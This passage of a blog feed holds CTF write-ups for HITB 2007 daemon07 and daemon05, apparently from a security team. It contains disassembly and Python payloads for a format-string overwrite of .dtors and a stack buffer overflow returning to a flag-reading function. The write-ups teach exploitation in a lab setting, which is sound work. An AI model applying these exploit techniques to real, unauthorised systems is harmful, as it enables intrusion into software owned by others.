&lt;p&gt;So, it's a simple format string exploit. We will overwrite the end of .dtors to point to the easter-egg function at &lt;code&gt;08048A32&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;
.text:08048A32 ; ---------------------------------------------------------------------------
.text:08048A32                 push    ebp
.text:08048A33                 mov     ebp, esp
.text:08048A35                 sub     esp, 48h
.text:08048A38                 mov     dword ptr [esp+4], offset aR ; "r"
.text:08048A40                 mov     dword ptr [esp], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt"
.text:08048A47                 call    _fopen
.text:08048A4C                 mov     [ebp-0Ch], eax
.text:08048A4F                 mov     eax, [ebp-0Ch]
.text:08048A52                 mov     [esp+8], eax
.text:08048A56                 mov     dword ptr [esp+4], 20h
.text:08048A5E                 lea     eax, [ebp-38h]
.text:08048A61                 mov     [esp], eax
.text:08048A64                 call    _fgets
.text:08048A69                 mov     eax, [ebp-0Ch]
.text:08048A6C                 mov     [esp], eax
.text:08048A6F                 call    _fclose
.text:08048A74                 lea     eax, [ebp-38h]
.text:08048A77                 mov     [esp+4], eax
.text:08048A7B                 mov     dword ptr [esp], offset aS ; "\n%s"
.text:08048A82                 call    _printf
.text:08048A87                 mov     eax, 0
.text:08048A8C                 leave
.text:08048A8D                 retn
&lt;/pre&gt;

&lt;p&gt;These few lines of Python code are all it takes to construct an exploit.&lt;/p&gt;

&lt;pre&gt;
dtors_addr = 0x08052804
target_addr = 0x08048A32
offset = 8

junk_cnt0 = offset * 4
junk_cnt1 = (target_addr &amp; 0xFFFF) - junk_cnt0
junk_cnt2 = 0x10000 + ((target_addr &amp; 0xFFFF0000) &gt;&gt; 16) - junk_cnt1 - junk_cnt0

fmtstring = struct.pack("I", dtors_addr) + struct.pack("I", dtors_addr + 2) + "aaaa" * (offset - 2)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt1, offset)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt2, offset + 1)
fmtstring += "\n"
# send this string to port 7777, will ya?
&lt;/pre&gt;

&lt;h2&gt;Observation&lt;/h2&gt;

&lt;p&gt;Unlike daemon05, we need not flush the buffer in &lt;code&gt;printf&lt;/code&gt; because when the daemon ends normally, this buffer is automatically flushed. And the daemon does end normally. Let's find out why.&lt;/p&gt;

&lt;pre&gt;
.dtors:08052800 _dtors          segment dword public 'DATA' use32
.dtors:08052800                 assume cs:_dtors
.dtors:08052800                 ;org 8052800h
.dtors:08052800                 db 0FFh
.dtors:08052801                 db 0FFh
.dtors:08052802                 db 0FFh
.dtors:08052803                 db 0FFh
.dtors:08052804                 db    0
.dtors:08052805                 db    0
.dtors:08052806                 db    0
.dtors:08052807                 db    0
.dtors:08052807 _dtors          ends
.dtors:08052807
.jcr:08052808 ; ---------------------------------------------------------------------------
.jcr:08052808
.jcr:08052808 ; Segment type: Pure data
.jcr:08052808 ; Segment permissions: Read/Write
.jcr:08052808 _jcr            segment dword public 'DATA' use32
.jcr:08052808                 assume cs:_jcr
.jcr:08052808                 ;org 8052808h
.jcr:08052808                 db    0
.jcr:08052809                 db    0
.jcr:0805280A                 db    0
.jcr:0805280B                 db    0
.jcr:0805280B _jcr            ends
&lt;/pre&gt;

&lt;p&gt;Right after .dtors is .jcr which is filled with four &lt;code&gt;00&lt;/code&gt;, which incidentally is also the end marker for .dtors. So, when we overwrite &lt;code&gt;08052804&lt;/code&gt; with the value &lt;code&gt;08048A32&lt;/code&gt;, we happen to &lt;em&gt;insert&lt;/em&gt; a destructor to .dtors list. If .jcr were different, we would have to overwrite .jcr to point to the &lt;code&gt;fflush&lt;/code&gt; code in &lt;code&gt;main&lt;/code&gt;, which is at &lt;code&gt;08048AC5&lt;/code&gt;. This is still doable by extending our format string to have two more &lt;code&gt;%hn&lt;/code&gt; overwrites.&lt;/p&gt;

&lt;p&gt;Oh, and thank you, xWinGs, for these easy points.&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2007-09-16T10:44:57+00:00</atom:published>

      <atom:updated>2007-09-17T11:28:44+00:00</atom:updated>

      
        <atom:category term="Reverse Engineering"/>
      
      
        <atom:category term="Capture The Flag"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Exploiting HTIB 2007 Kuala Lumpur CTF Daemon 05</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2007/09/14/hitb07kl-ctf-daemon05">
        http://plone.org/
      </atom:link>

      <atom:id>38c2f0cdc77c52c09831d3f3468e31ef</atom:id>
      <atom:summary>Daemon 05 has a simple buffer overflow error. Exploiting it by returning to a conveniently-left-behind function (an easter egg, I say).</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;h2&gt;Identify &lt;code&gt;main&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;Like the previous blog post, let's start with the &lt;code&gt;start&lt;/code&gt; function.&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;.text:&lt;/b&gt;080488B0                 public start
&lt;b&gt;.text:&lt;/b&gt;080488B0 start           proc near
&lt;b&gt;.text:&lt;/b&gt;080488B0                 &lt;b&gt;xor&lt;/b&gt;     &lt;b&gt;ebp&lt;/b&gt;, &lt;b&gt;ebp&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;080488B2                 &lt;b&gt;pop&lt;/b&gt;     &lt;b&gt;esi&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;080488B3                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;ecx&lt;/b&gt;, &lt;b&gt;esp&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;080488B5                 &lt;b&gt;and&lt;/b&gt;     &lt;b&gt;esp&lt;/b&gt;, 0FFFFFFF0h
&lt;b&gt;.text:&lt;/b&gt;080488B8                 &lt;b&gt;push&lt;/b&gt;    &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;080488B9                 &lt;b&gt;push&lt;/b&gt;    &lt;b&gt;esp&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;080488BA                 &lt;b&gt;push&lt;/b&gt;    &lt;b&gt;edx&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;080488BB                 &lt;b&gt;push&lt;/b&gt;    offset sub_804C650
&lt;b&gt;.text:&lt;/b&gt;080488C0                 &lt;b&gt;push&lt;/b&gt;    offset sub_804C5F0
&lt;b&gt;.text:&lt;/b&gt;080488C5                 &lt;b&gt;push&lt;/b&gt;    &lt;b&gt;ecx&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;080488C6                 &lt;b&gt;push&lt;/b&gt;    &lt;b&gt;esi&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;080488C7                 &lt;b&gt;push&lt;/b&gt;    offset main
&lt;b&gt;.text:&lt;/b&gt;080488CC                 &lt;b&gt;call&lt;/b&gt;    ___libc_start_main
&lt;/pre&gt;

&lt;p&gt;We identify the &lt;code&gt;main&lt;/code&gt; function as the last argument to &lt;code&gt;___libc_start_main&lt;/code&gt;. So let's get to it.&lt;/p&gt;

&lt;h2&gt;Analyze &lt;code&gt;main&lt;/code&gt;&lt;/h2&gt;

&lt;pre&gt;
&lt;b&gt;.text:&lt;/b&gt;08048ABE main            proc near               ; DATA XREF: start+17&amp;uarr;o
&lt;b&gt;.text:&lt;/b&gt;08048ABE
&lt;b&gt;.text:&lt;/b&gt;08048ABE var_518         &lt;b&gt;=&lt;/b&gt; &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;-&lt;/b&gt;518h
&lt;b&gt;.text:&lt;/b&gt;08048ABE var_514         &lt;b&gt;=&lt;/b&gt; &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;-&lt;/b&gt;514h
&lt;b&gt;.text:&lt;/b&gt;08048ABE var_510         &lt;b&gt;=&lt;/b&gt; &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;-&lt;/b&gt;510h
&lt;b&gt;.text:&lt;/b&gt;08048ABE var_208         &lt;b&gt;=&lt;/b&gt; &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;-&lt;/b&gt;208h
&lt;b&gt;.text:&lt;/b&gt;08048ABE
&lt;b&gt;.text:&lt;/b&gt;08048ABE                 &lt;b&gt;push&lt;/b&gt;    &lt;b&gt;ebp&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048ABF                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;ebp&lt;/b&gt;, &lt;b&gt;esp&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048AC1                 &lt;b&gt;sub&lt;/b&gt;     &lt;b&gt;esp&lt;/b&gt;, 518h       ; char *
&lt;b&gt;.text:&lt;/b&gt;08048AC7                 &lt;b&gt;and&lt;/b&gt;     &lt;b&gt;esp&lt;/b&gt;, 0FFFFFFF0h
&lt;b&gt;.text:&lt;/b&gt;08048ACA                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, 0
&lt;b&gt;.text:&lt;/b&gt;08048ACF                 &lt;b&gt;add&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, 0Fh
&lt;b&gt;.text:&lt;/b&gt;08048AD2                 &lt;b&gt;add&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, 0Fh
&lt;b&gt;.text:&lt;/b&gt;08048AD5                 &lt;b&gt;shr&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, 4
&lt;b&gt;.text:&lt;/b&gt;08048AD8                 &lt;b&gt;shl&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, 4
&lt;b&gt;.text:&lt;/b&gt;08048ADB                 &lt;b&gt;sub&lt;/b&gt;     &lt;b&gt;esp&lt;/b&gt;, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048ADD                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;var_518&lt;b&gt;]&lt;/b&gt;, offset aCodedByXwings_ ; &amp;quot;Coded By xWinGs. a code just to make yo&amp;quot;...
&lt;b&gt;.text:&lt;/b&gt;08048AE4                 &lt;b&gt;call&lt;/b&gt;    _printf
&lt;b&gt;.text:&lt;/b&gt;08048AE9                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;var_518&lt;b&gt;]&lt;/b&gt;, offset aSecretCode ; &amp;quot;Secret Code: &amp;quot;
&lt;b&gt;.text:&lt;/b&gt;08048AF0                 &lt;b&gt;call&lt;/b&gt;    _printf
&lt;b&gt;.text:&lt;/b&gt;08048AF5                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, &lt;b&gt;ds&lt;/b&gt;&lt;b&gt;:&lt;/b&gt;stdout
&lt;b&gt;.text:&lt;/b&gt;08048AFA                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;var_518&lt;b&gt;]&lt;/b&gt;, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048AFD                 &lt;b&gt;call&lt;/b&gt;    _fflush
&lt;b&gt;.text:&lt;/b&gt;08048B02                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;var_510&lt;b&gt;]&lt;/b&gt;, 200h
&lt;b&gt;.text:&lt;/b&gt;08048B0A                 &lt;b&gt;lea&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, &lt;b&gt;[&lt;/b&gt;&lt;b&gt;ebp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;var_208&lt;b&gt;]&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B10                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;var_514&lt;b&gt;]&lt;/b&gt;, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B14                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;var_518&lt;b&gt;]&lt;/b&gt;, 0
&lt;b&gt;.text:&lt;/b&gt;08048B1B                 &lt;b&gt;call&lt;/b&gt;    _read
&lt;b&gt;.text:&lt;/b&gt;08048B20                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;ds&lt;/b&gt;&lt;b&gt;:&lt;/b&gt;dword_80529DC, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B25                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;var_510&lt;b&gt;]&lt;/b&gt;, offset aEtcFlagsDaemon ; &amp;quot;/etc/flags/daemon05.txt&amp;quot;
&lt;b&gt;.text:&lt;/b&gt;08048B2D                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, &lt;b&gt;ds&lt;/b&gt;&lt;b&gt;:&lt;/b&gt;dword_80529DC
&lt;b&gt;.text:&lt;/b&gt;08048B32                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;var_514&lt;b&gt;]&lt;/b&gt;, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B36                 &lt;b&gt;lea&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, &lt;b&gt;[&lt;/b&gt;&lt;b&gt;ebp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;var_208&lt;b&gt;]&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B3C                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;var_518&lt;b&gt;]&lt;/b&gt;, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B3F                 &lt;b&gt;call&lt;/b&gt;    sub_80489F4
&lt;/pre&gt;

&lt;p&gt;First, a few calls to &lt;code&gt;printf&lt;/code&gt; to advertise this is from xWinGs. Nothing fancy yet. Then a &lt;code&gt;read&lt;/code&gt; of 0x200 (1024) bytes to &lt;code&gt;var_208&lt;/code&gt;. So, let's rename &lt;code&gt;var_208&lt;/code&gt; to &lt;code&gt;input_buffer&lt;/code&gt;. And also note that &lt;code&gt;input_buffer&lt;/code&gt; is the first item on the stack. After &lt;code&gt;input_buffer&lt;/code&gt; there comes the frame pointer and a return address.&lt;/p&gt;

&lt;p&gt;With the same reasoning as in the previous post, we also rename &lt;code&gt;var_518&lt;/code&gt; to &lt;code&gt;first_arg&lt;/code&gt;, &lt;code&gt;var_514&lt;/code&gt; to &lt;code&gt;second_arg&lt;/code&gt;, and &lt;code&gt;var_510&lt;/code&gt; to &lt;code&gt;third_arg&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After the &lt;code&gt;read&lt;/code&gt; is a check for score server packet. We'll skip it. And here comes the juicy part.&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B44                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, &lt;b&gt;ds&lt;/b&gt;&lt;b&gt;:&lt;/b&gt;stdin
&lt;b&gt;.text:&lt;/b&gt;08048B49                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;third_arg&lt;b&gt;]&lt;/b&gt;, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B4D                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;second_arg&lt;b&gt;]&lt;/b&gt;, 300h
&lt;b&gt;.text:&lt;/b&gt;08048B55                 &lt;b&gt;lea&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, &lt;b&gt;[&lt;/b&gt;&lt;b&gt;ebp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;input_buffer&lt;b&gt;]&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B5B                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;first_arg&lt;b&gt;]&lt;/b&gt;, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B5E                 &lt;b&gt;call&lt;/b&gt;    _fgets
&lt;b&gt;.text:&lt;/b&gt;08048B63                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;518h&lt;b&gt;+&lt;/b&gt;first_arg&lt;b&gt;]&lt;/b&gt;, offset aWrongCode_ ; &amp;quot;Wrong Code.\n&amp;quot;
&lt;b&gt;.text:&lt;/b&gt;08048B6A                 &lt;b&gt;call&lt;/b&gt;    _printf
&lt;b&gt;.text:&lt;/b&gt;08048B6F                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, 0
&lt;b&gt;.text:&lt;/b&gt;08048B74                 &lt;b&gt;leave&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B75                 &lt;b&gt;retn&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048B75 main            endp
&lt;/pre&gt;

&lt;p&gt;The next call is to &lt;code&gt;fgets&lt;/code&gt; to read another, uhm, 0x300 bytes to &lt;code&gt;input_buffer&lt;/code&gt;. And this is where overflow occurs. Remember that &lt;code&gt;input_buffer&lt;/code&gt; is only 1024 byte long, and after it is the frame pointer and return address. So by overflowing &lt;code&gt;input_buffer&lt;/code&gt; we are able to control the return address.&lt;/p&gt;

&lt;p&gt;Ok, that's all fine, but where do we want &lt;code&gt;main&lt;/code&gt; to return to? A little digging around reveals this piece of unidentified code.&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A60 locret_8048A60&lt;b&gt;:&lt;/b&gt;                         ; CODE XREF: sub_80489F4+29&amp;uarr;j
&lt;b&gt;.text:&lt;/b&gt;08048A60                 &lt;b&gt;leave&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A61                 &lt;b&gt;retn&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A61 sub_80489F4     endp
&lt;b&gt;.text:&lt;/b&gt;08048A61
&lt;b&gt;.text:&lt;/b&gt;08048A62 ; ---------------------------------------------------------------------------
&lt;b&gt;.text:&lt;/b&gt;08048A62                 &lt;b&gt;push&lt;/b&gt;    &lt;b&gt;ebp&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A63                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;ebp&lt;/b&gt;, &lt;b&gt;esp&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A65                 &lt;b&gt;sub&lt;/b&gt;     &lt;b&gt;esp&lt;/b&gt;, 48h
&lt;b&gt;.text:&lt;/b&gt;08048A68                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;4&lt;b&gt;]&lt;/b&gt;, offset aR ; &amp;quot;r&amp;quot;
&lt;b&gt;.text:&lt;/b&gt;08048A70                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;]&lt;/b&gt;, offset aEtcFlagsDaemon ; &amp;quot;/etc/flags/daemon05.txt&amp;quot;
&lt;b&gt;.text:&lt;/b&gt;08048A77                 &lt;b&gt;call&lt;/b&gt;    _fopen
&lt;b&gt;.text:&lt;/b&gt;08048A7C                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;ebp&lt;/b&gt;&lt;b&gt;-&lt;/b&gt;0Ch&lt;b&gt;]&lt;/b&gt;, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A7F                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, &lt;b&gt;[&lt;/b&gt;&lt;b&gt;ebp&lt;/b&gt;&lt;b&gt;-&lt;/b&gt;0Ch&lt;b&gt;]&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A82                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;8&lt;b&gt;]&lt;/b&gt;, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A86                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;4&lt;b&gt;]&lt;/b&gt;, 20h
&lt;b&gt;.text:&lt;/b&gt;08048A8E                 &lt;b&gt;lea&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, &lt;b&gt;[&lt;/b&gt;&lt;b&gt;ebp&lt;/b&gt;&lt;b&gt;-&lt;/b&gt;38h&lt;b&gt;]&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A91                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;]&lt;/b&gt;, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A94                 &lt;b&gt;call&lt;/b&gt;    _fgets
&lt;b&gt;.text:&lt;/b&gt;08048A99                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, &lt;b&gt;[&lt;/b&gt;&lt;b&gt;ebp&lt;/b&gt;&lt;b&gt;-&lt;/b&gt;0Ch&lt;b&gt;]&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A9C                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;]&lt;/b&gt;, &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048A9F                 &lt;b&gt;call&lt;/b&gt;    _fclose
&lt;b&gt;.text:&lt;/b&gt;08048AA4                 &lt;b&gt;lea&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, &lt;b&gt;[&lt;/b&gt;&lt;b&gt;ebp&lt;/b&gt;&lt;b&gt;-&lt;/b&gt;38h&lt;b&gt;]&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048AA7                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;+&lt;/b&gt;4&lt;b&gt;]&lt;/b&gt;,;;; &lt;b&gt;eax&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048AAB                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;[&lt;/b&gt;&lt;b&gt;esp&lt;/b&gt;&lt;b&gt;]&lt;/b&gt;, offset &lt;b&gt;aS&lt;/b&gt; ; &amp;quot;\n%s&amp;quot;
&lt;b&gt;.text:&lt;/b&gt;08048AB2                 &lt;b&gt;call&lt;/b&gt;    _printf
&lt;b&gt;.text:&lt;/b&gt;08048AB7                 &lt;b&gt;mov&lt;/b&gt;     &lt;b&gt;eax&lt;/b&gt;, 0
&lt;b&gt;.text:&lt;/b&gt;08048ABC                 &lt;b&gt;leave&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048ABD                 &lt;b&gt;retn&lt;/b&gt;
&lt;b&gt;.text:&lt;/b&gt;08048ABE
&lt;b&gt;.text:&lt;/b&gt;08048ABE ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
&lt;b&gt;.text:&lt;/b&gt;08048ABE
&lt;b&gt;.text:&lt;/b&gt;08048ABE ; Attributes: bp-based frame
&lt;b&gt;.text:&lt;/b&gt;08048ABE
&lt;b&gt;.text:&lt;/b&gt;08048ABE main            proc near               ; DATA XREF: start+17&amp;uarr;o
&lt;b&gt;.text:&lt;/b&gt;08048ABE
&lt;b&gt;.text:&lt;/b&gt;08048ABE first_arg       &lt;b&gt;=&lt;/b&gt; &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;-&lt;/b&gt;518h
&lt;b&gt;.text:&lt;/b&gt;08048ABE second_arg      &lt;b&gt;=&lt;/b&gt; &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;-&lt;/b&gt;514h
&lt;b&gt;.text:&lt;/b&gt;08048ABE third_arg       &lt;b&gt;=&lt;/b&gt; &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;-&lt;/b&gt;510h
&lt;b&gt;.text:&lt;/b&gt;08048ABE input_buffer    &lt;b&gt;=&lt;/b&gt; &lt;b&gt;dword&lt;/b&gt; &lt;b&gt;ptr&lt;/b&gt; &lt;b&gt;-&lt;/b&gt;208h
&lt;/pre&gt;

&lt;p&gt;Look at &lt;code&gt;08048A62&lt;/code&gt;! It's a function prologue. And indeed from &lt;code&gt;08048A62&lt;/code&gt; to &lt;code&gt;08048ABD&lt;/code&gt; is a proper function! What great is that it opens, reads, and prints the flag out! This is so convenient!&lt;/p&gt;

&lt;h2&gt;Exploit it&lt;/h2&gt;

&lt;p&gt;Now, let's gather what we've have. We can control where main returns to, and we know there's a function that suits our purpose. Therefore, the challenge is... none. We just return to this function!&lt;/p&gt;

&lt;p&gt;With that tactic, our exploit is as trivial as constructing a buffer containing all &lt;code&gt;08048A62&lt;/code&gt;. And how hard could it be? Two lines of Python code!&lt;/p&gt;

&lt;pre&gt;
import struct
buffer = struct.pack("I", 0x08048A62) * 1000
&lt;/pre&gt;

&lt;h2&gt;Remotely exploit it&lt;/h2&gt;

&lt;p&gt;If you tried out the buffer above, you might find that it didn't work remotely. This is because the easter-egg function uses &lt;code&gt;printf&lt;/code&gt; to print out the flag. It is common knowledge that &lt;code&gt;printf&lt;/code&gt; buffers its content. If the output stream is connected to a console window, the buffering is line-based, otherwise it is block-based. In our case, the output stream is connected to a socket, so the buffering is block-based. Usually, this block is 8 KBytes. Each call to the easter-egg only prints out about 20 bytes. So, to fill this buffer, we will need at least 409 calls to the easter-egg function, or we need to put in 409 * 4 = 0x664 bytes. However, only 0x300 bytes are read in. So this approach fails.&lt;/p&gt;

&lt;p&gt;Another approach is to flush the stream after &lt;code&gt;printf&lt;/code&gt;. Luckily, this is doable by returning to &lt;code&gt;08048AF5&lt;/code&gt;. At that address, there is a call to &lt;code&gt;fflush&lt;/code&gt; on &lt;code&gt;stdout&lt;/code&gt;. Again, we only use existing code.&lt;/p&gt;

&lt;p&gt;In summary, in order to exploit daemon05 remotely, we will have to change our buffer to look like:&lt;/p&gt;

&lt;pre&gt;
buffer = struct.pack("I", 0x08048A62) * 300 + "\xF5\x8A\x04\x08" + "\x0A"
&lt;/pre&gt;

&lt;h2&gt;Observation&lt;/h2&gt;

&lt;p&gt;Well, what should I say? Thank you, xWinGs, for this twisted fun!&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2007-09-14T02:35:35+00:00</atom:published>

      <atom:updated>2007-09-16T10:47:08+00:00</atom:updated>

      
        <atom:category term="Reverse Engineering"/>
      
      
        <atom:category term="Capture The Flag"/>
      

    </atom:entry>

  
  

    <atom:entry>
